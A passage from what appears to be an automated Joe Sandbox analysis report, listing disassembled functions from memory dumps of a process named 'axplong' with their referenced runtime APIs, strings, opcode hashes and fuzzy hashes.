Function 04EE0D3B Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4528253674.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4ee0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d130dd17d354df666e14fe729f0d37e716ad9e295455c279915cd4021ea33d21
Instruction ID: bf5fa0cc1114660cae65b135b0001c252cb061f26bbb38af745e4948e408ac0c
Opcode Fuzzy Hash: d130dd17d354df666e14fe729f0d37e716ad9e295455c279915cd4021ea33d21
Instruction Fuzzy Hash: 5CF0B2EB21C1217DB101C1433F28EFB932CE2D4B30371D92BF806C0406E389AA4E2631

Function 04EE0D57 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4528253674.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4ee0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d45f394c3cceba3264f8a1c935df8576fa14605f95517f4839f2d524d568f03b
Instruction ID: bdef79cf40e5b864f30d387172a87258935e94a06c0355146d59aed94fab1073
Opcode Fuzzy Hash: d45f394c3cceba3264f8a1c935df8576fa14605f95517f4839f2d524d568f03b
Instruction Fuzzy Hash: B7F074BB24D1216DB111C1427B24AFA932DE6D4B30371D92BF446C0805E799A64E6231

Non-executed Functions

Function 00513068 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 005131E3

Strings

1#INF, xrefs: 0051439E
1#SNAN, xrefs: 0051437A
1#IND, xrefs: 00514373
1#QNAN, xrefs: 00514381

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 7d1187a6c429bb0101844b00cfcd8c4bc8d8f8f98eb1883c7697342e158ab8db
Instruction ID: 3ff26072f77e9e45aeba8d134adf146128435291d53159033f454351e1d23272
Opcode Fuzzy Hash: 7d1187a6c429bb0101844b00cfcd8c4bc8d8f8f98eb1883c7697342e158ab8db
Instruction Fuzzy Hash: 2FC23A71E086288FEB24CE28DD547E9BBB5FB48314F1445EAD84DA7240E778AEC58F40

Function 00512BD0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: 0cbd8d634d76e4813ac0f4fc6e00eea385e2900f99e5adde5eb8920cf140820a
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: 0DF13D71E002199FEF14CFA9C8906EDBBB5FF88314F158269D419A7345D731AE52CB90

Function 004ECB1A Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,004ECE82,?,?,?,?,004ECEB7,?,?,?,?,?,?,004EC42D,?,00000001), ref: 004ECB33

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: dbb0bd8f372c9d0f4b733c53a79636f9918c5112e8b1ddeb9cfd32060f59e8dc
Instruction ID: 5d5136c6e4830847c013a727d05505db22a4aebbf9e9bb61c31bfd84f872e542
Opcode Fuzzy Hash: dbb0bd8f372c9d0f4b733c53a79636f9918c5112e8b1ddeb9cfd32060f59e8dc
Instruction Fuzzy Hash: 32D02233503078DBCA112B99FC058BDBB488F01B613406113EC04633208A907C436BD9

Function 00507D83 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00507EFF

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: d7a0d0a1f1466505db5a305d792d5f15f52f92ac8a59a61112d8bc4e71624f0a
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 65517AB1E0DA4E57DF388A38C89A7BE6F9EBF9D300F140859D482D76C2CA11BE458351

Function 004D4CF0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bbe5cd6982f174a9258aa8e77c88df8b1aefe25c09aed537c0d465f5a73b672
Instruction ID: bd6ccf6f424811495860ec897e726ea186603713c59a910a546a7ed7dc4f5136
Opcode Fuzzy Hash: 2bbe5cd6982f174a9258aa8e77c88df8b1aefe25c09aed537c0d465f5a73b672
Instruction Fuzzy Hash: E82260B3F516145BDB0CCB9DDCA27ECB2E3AFD8214B0E803DA40AE3345EA79D9159644

Function 00516F09 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6477a6314e30fbce1f3c49bbbb9fe071b14305137985c41e9befc0815bd57360
Instruction ID: 8f04f5690640da2655bbd6a094d0b154419633a4111396cdb153f94d151df5ac
Opcode Fuzzy Hash: 6477a6314e30fbce1f3c49bbbb9fe071b14305137985c41e9befc0815bd57360
Instruction Fuzzy Hash: 3BB12A316146099FE715CF2CC48AAA57FB1FF49364F258658E89ACF2A1C735E982CB40

Function 004D4AF0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a754995e4c4604ac3b3dfcca60ef9fa018540621652f8874ea27be8c571e77da
Instruction ID: 3b8ed89f89154eb3db35356a760a81657b618bc1ac6e33cdf470b77aed344d40
Opcode Fuzzy Hash: a754995e4c4604ac3b3dfcca60ef9fa018540621652f8874ea27be8c571e77da
Instruction Fuzzy Hash: EA51B1706093918FC319CF29856523ABBE1AFD6200F084A9FE0D687392D774EA44CB92

Function 0051777B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bceb74016dcc69af4b2546592d6b838fedc1a7acaab74c624458fb1da5d36100
Instruction ID: 673f1e27455ac3581f73e2f11c472da6a6695ab4441e88ce28be1ef84c3cc62c
Opcode Fuzzy Hash: bceb74016dcc69af4b2546592d6b838fedc1a7acaab74c624458fb1da5d36100
Instruction Fuzzy Hash: A421B673F204394B770CC47E8C572BDB6E1C68C541745423AE8A6EA2C1D968D917E2E4

Function 0051765B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d666e46730ba7baaa0b6683fe5538d42eb77e2b89d2bb6c8d8612fd0704140a
Instruction ID: 4a68841a5ead339991ff19ace13c17bebdc648c31af00cecf24fec0c9088e8f5
Opcode Fuzzy Hash: 7d666e46730ba7baaa0b6683fe5538d42eb77e2b89d2bb6c8d8612fd0704140a
Instruction Fuzzy Hash: 27117723F30C295A775C816D8C172BAA5D2EBD825071F533AD826E7384E994DE23D290

Function 00518720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 1a69a1bf5cdc99ba7d67221491031bc92d7513dab28842cfab7cd20384a3d87b
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: F911087B20054247F634862DD9F8AF6AF96FBC5321B3C437AD1414B7D8DA23A9C5D900

Function 04EE0556 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4528253674.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4ee0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 758f88f36c1b2aba457d327afa06afecfe6a0607d56d8b5ba9a796c200e48e7a
Instruction ID: cc27be21258739ceda42e3efed174468cdeda7290c5215727a27427e595e5d8a
Opcode Fuzzy Hash: 758f88f36c1b2aba457d327afa06afecfe6a0607d56d8b5ba9a796c200e48e7a
Instruction Fuzzy Hash: EF0149E6E4C5A0BEE1228466AE559F66F3CE7D3634334A12EE84397083F2C1294D6171

Function 0050645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26b16fbfe320da31170922e12192a222af3a47bc20ea9b49bf93c362eb09edf8
Instruction ID: 449eab51159bc72d09b7864b4b1b274769ce32723fda5e7542228ab62dfdfcfb
Opcode Fuzzy Hash: 26b16fbfe320da31170922e12192a222af3a47bc20ea9b49bf93c362eb09edf8
Instruction Fuzzy Hash: 5BE0EC30542648AFDE25BF64D94998C3F5AFF91355F006815F8044A262CB75FDB2C991

Function 0050A1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 1beb8428d063b776507cef02f9c958b99f319754fc06afa745eac3c6d483b44d
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 7BE0B672915228EBCB15DB98894898AF6ACFB89B50F654496B501D3291C370DF00C7D1

Function 00504770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 005047A7
___except_validate_context_record.LIBVCRUNTIME ref: 005047AF
_ValidateLocalCookies.LIBCMT ref: 00504838
__IsNonwritableInCurrentImage.LIBCMT ref: 00504863
_ValidateLocalCookies.LIBCMT ref: 005048B8

Strings

csm, xrefs: 0050484D

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 7d27d41a16e77c07c8e5072ebcc137a4888297c622cf607fabc83627b122833a
Instruction ID: 13e925d1bc538ddb0817c70505b1942f80bc4ba0ca2ad084d6a8847bdb54e587
Opcode Fuzzy Hash: 7d27d41a16e77c07c8e5072ebcc137a4888297c622cf607fabc83627b122833a
Instruction Fuzzy Hash: 6D51A274A00249ABCF14DF68C889AAE7FB5BF45314F14C495EA149B3D2D732EA46CF90

Function 005070C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0050710B

Strings

